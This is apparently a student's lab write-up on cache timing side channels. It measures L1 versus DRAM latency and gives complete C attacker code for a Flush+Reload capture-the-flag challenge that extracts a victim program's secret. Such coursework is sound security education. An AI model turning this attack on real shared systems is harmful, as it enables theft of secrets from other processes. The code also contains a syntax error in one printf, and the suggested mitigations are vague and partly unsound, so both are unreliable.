Session 4: Microarchitecture security¶
“AI (Claude) has been used to provide answers to simple questions like “What is .., what does.. what are the risks..”. All demos are my own”
The target¶
The goal of this lab is to give you hands-on experience interacting with the cache on a real machine. In class we talked about the cache hierarchy: the processor keeps recently used data close by in small, fast caches (L1, L2, L3), and falls back to the much slower main memory (DRAM) when the data is not cached. That speed difference is normally invisible to a program — but if we measure carefully, we can see it. And once we can see whether a piece of data was in the cache or not, we can use that as a side channel to learn secrets.
By the end of this lab you will have measured the cache-vs-memory timing difference yourself, and then used it to steal a secret from another program.
- Measure how long it takes the processor to read data from different levels of the memory hierarchy (the cache vs. main memory / DRAM).
- Solve a CTF (capture-the-flag) puzzle using a cache-based side channel attack called Flush+Reload.
Part 1 - setup¶
To be able to compile and run
sudo apt install make gcc
Part 2 - the first challenge¶
The Idea¶
When the processor needs a piece of data, it first checks the cache. If the data is there (a cache hit), the read is fast. If it is not (a cache miss), the processor has to go all the way out to main memory (DRAM), which takes much longer.
In this part, you will measure both cases directly:
- Cache (L1) latency: read an address so it lands in the cache, then immediately read it again and time how long that takes.
- Memory (DRAM) latency: push the data out of the cache, then read it and time how long that takes.
We will not worry about telling L2 and L3 apart — we only care about the big, clearly visible difference between “in the cache” and “all the way out in DRAM.”
The Tools We Give You¶
- measure_one_block_access_time(addr):
- input: an address
- task : reads the data at addr
-
output: how many cycles the read took. This is your “stopwatch.”
-
clflush(addr):
- input: an address
- task: flushes the given address out of the cache, all the way back to DRAM. After calling this, the next read of addr will be a cache miss (slow), because the processor has to fetch it from main memory again. This is the key instruction that lets us force a cache miss on demand.
- output: none
The code to run (updated with my own work)¶
#include <stdbool.h>
#include "utility.h"
#define LINE_SIZE 64
int main (int ac, char **av) {
// Two arrays to store our latency measurements.
// (Initialized to 0.)
uint64_t l1_latency[SAMPLES] = {0};
uint64_t dram_latency[SAMPLES] = {0};
// A temporary variable we can use to load addresses.
uint8_t tmp;
// Allocate a small buffer (one cache line) to measure against.
// The "volatile" keyword tells the compiler NOT to keep this in a
// register -- every access should really go to memory / the cache.
volatile uint8_t *target_buffer = (uint8_t *)malloc(LINE_SIZE);
if (NULL == target_buffer) {
perror("Unable to malloc");
return EXIT_FAILURE;
}
// ======
// Cache (L1) latency -- WORKED EXAMPLE
// ======
// The data is in the cache, so each timed read should be FAST.
for (int i = 0; i < SAMPLES; i++) {
// Step 1: bring the target line into the cache by accessing it.
tmp = target_buffer[0];
// Step 2: measure how long it takes to read it again.
l1_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
}
// ======
// DRAM latency
// ======
// The data must NOT be in the cache, so each timed read is SLOW.
for (int i = 0; i < SAMPLES; i++) {
// Step 1: flush the target line out of the cache.
clflush((void *) target_buffer);
// Step 2: measure how long it takes to read it.
dram_latency[i] = measure_one_block_access_time((uint64_t)target_buffer);
}
// Measure first, print later: now that all measurements are done,
// print the results.
print_results_plaintext(l1_latency, dram_latency);
free((uint8_t *)target_buffer);
return 0;
}
The test¶
Run your program and report the typical cache (L1) latency and the typical DRAM latency that you measured. How big is the difference?¶

The median in L1 cache mode is in the 40-60 (cycles) interval while the median in DRAM mode is at least 200 (cycles)
Based on your numbers, pick a single threshold value (in cycles) that you could use to decide, given one timing measurement, whether the data was in the cache or in DRAM. You will use this threshold in the CTF challenge.¶
200 (cycles) looks like a safe assumption for that threshold
Part 3 - the CTF challenge¶
In this part you will extract a secret value from a victim program without the victim ever telling you what it is — just by watching which memory it touches.
Get to Know the Victim¶
// PSEUDO-CODE
// Allocate a large memory buffer
char *buf = get_buffer();
// Pick a secret flag: a random integer in the range [0, SEC_RANGE)
int flag = random();
// Main loop: keep reading one specific spot in the buffer,
// where the spot depends on the secret flag
while (true) {
value = load(buf + flag * STRIDE);
}
The victim keeps reading from one location in buf, and which location it reads depends on the secret flag. Your job is to figure out the flag by watching which part of buf gets pulled into the cache.
Why This Works¶
The trick is that the victim and your attacker program share the same buffer in physical memory. (We set this up for you using a memory-mapped file: a virtual address in the victim and a virtual address in your attacker both point to the same physical memory.) Because the memory is shared, the cache state is shared too. When the victim reads buf + flag * STRIDE, that location gets loaded into the cache — and you can detect that.
Your Plan: Flush + Reload¶
Your attacker repeats three steps in a loop:
- Flush. Use clflush to evict every candidate location of buf from the cache. Now nothing is cached.
- Wait. Pause briefly to give the victim a chance to do its flag-dependent read. (Do not use sleep() — that makes a system call and trashes the cache. Just spin in a small empty loop.)
- Reload. Read each candidate location and time it with measure_one_block_access_time. The one location the victim touched will be fast (it’s back in the cache); all the others will be slow (still in DRAM). Use the threshold you found in Part 1 to tell them apart.
Whichever candidate is consistently the fast one reveals the secret flag.
Complete the code in Part2-FlushReload/attacker.c so that it reliably extracts the secret flag from the victim.¶
Here is my updated version
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"
#define REPEATS 100000
#define WAIT 100
int main() {
int flag = -1;
// buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer();
while (true) {
CYCLES total_time[SEC_RANGE] = {0};
int total_num[SEC_RANGE] = {0};
for (int i = 0; i < REPEATS; i++) {
// Flush
for (int x = 0; x < SEC_RANGE; x++) {
clflush((ADDR_PTR) (buf + x * ALIGN));
}
// randomized order so the prefetcher can't predict my pattern.
int guess = rand() % SEC_RANGE;
// Wait
for (int j = 0; j < WAIT; j++) {
int y = 1;
}
// Reload
CYCLES t = measure_one_block_access_time((ADDR_PTR) (buf + guess * ALIGN));
// Record measurement
total_time[guess] += t;
total_num[guess]++;
}
// Find flag by finding minimal avg access time
float min_time = (float) UINT32_MAX;
for (int x = 0; x < SEC_RANGE; x++) {
float time = (float) total_time[x] / (float) total_num[x];
if (time < min_time) {
flag = x;
min_time = time;
}
}
// If we are under the threshold we got from the previous challenge, we have a hit, that data resides in cache
if (min_time < 200) {
printf("Min time: %f\n, min_time);
printf("Flag: %d\n", flag);
break;
}
}
deallocate_shared_buffer(buf);
return 0;
}
- Compile with make
make
The test¶
- Generate the shared buffer file
python3 gen_file.py
- Open two terminals (use two SSH sessions, or a tool like tmux or screen). In one, run make run_victim. In the other, run make run_attacker. The victim prints the true flag, so you can check whether your attacker recovered it correctly.
Before my updates

After my updates

Your attack works because the victim’s memory read location depends directly on the secret. How could you rewrite the victim so it still gets its work done, but without leaking the secret through which cache line it accesses?¶
Strategy 1 - flush and reload each time¶
It will be slower but it will make it impossible to get insights from the cache reading timings
Strategy 2: add a few random readings and keep only the meaningfull one¶
But one of the readings will be the flag…
Strategy 3: read the entire buffer, keep only the meaningfull data , it will load and stay in cache¶
But it will waste memory for mostly nothing